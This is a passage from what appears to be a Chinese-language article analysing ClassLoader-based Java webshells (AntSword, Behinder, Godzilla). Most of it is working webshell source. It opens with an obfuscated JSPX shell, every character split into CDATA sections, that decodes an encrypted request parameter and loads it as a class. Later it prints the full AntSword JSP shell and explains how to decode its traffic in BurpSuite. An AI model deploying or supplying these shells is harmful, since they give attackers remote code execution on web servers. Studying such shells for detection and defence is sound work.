]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[B]]><![CDATA[u]]><![CDATA[f]]><![CDATA[f]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]></jsp:declaration><jsp:scriptlet><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[P]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[x]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[)]]><![CDATA[;]]><![CDATA[i]]><![CDATA[f]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[=]]><![CDATA[=]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[t]]><![CDATA[h]]><![CDATA[i]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[e]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[s]]><![CDATA["]]><![CDATA[,]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[;]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[=]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[=]]><![CDATA[(]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[C]]><![CDATA[o]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[0]]><![CDATA[,]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[x]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[u]]><![CDATA[e]]><![CDATA[)]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[}]]></jsp:scriptlet></jsp:root>

ClassLoad

现阶段大部分 java 类型的 shell（蚁剑、冰蝎、哥斯拉等）都是通过 classLoad 的方式去动态加载，相对以前的大马体积小了很多。

蚁剑

这里以蚁剑为例。首先看一下蚁剑 jsp 类型的 webshell

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

整体逻辑获取 ant 参数值，判断 ant 参数值是否为空。不为空，将其 base64 解码，通过 defineClass、getClassLoader 等将其动态加载执行。
通过代理将蚁剑请求流量代理到 BurpSuite，可直接将 ant 的参数值使用工具解码出来。

antSwordProxy

antSwordProxy

也可以直接查看原始文件，路径 source/core/jsp/template/command.js
antSwordCommand

antSwordCommand

import command.Exec;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
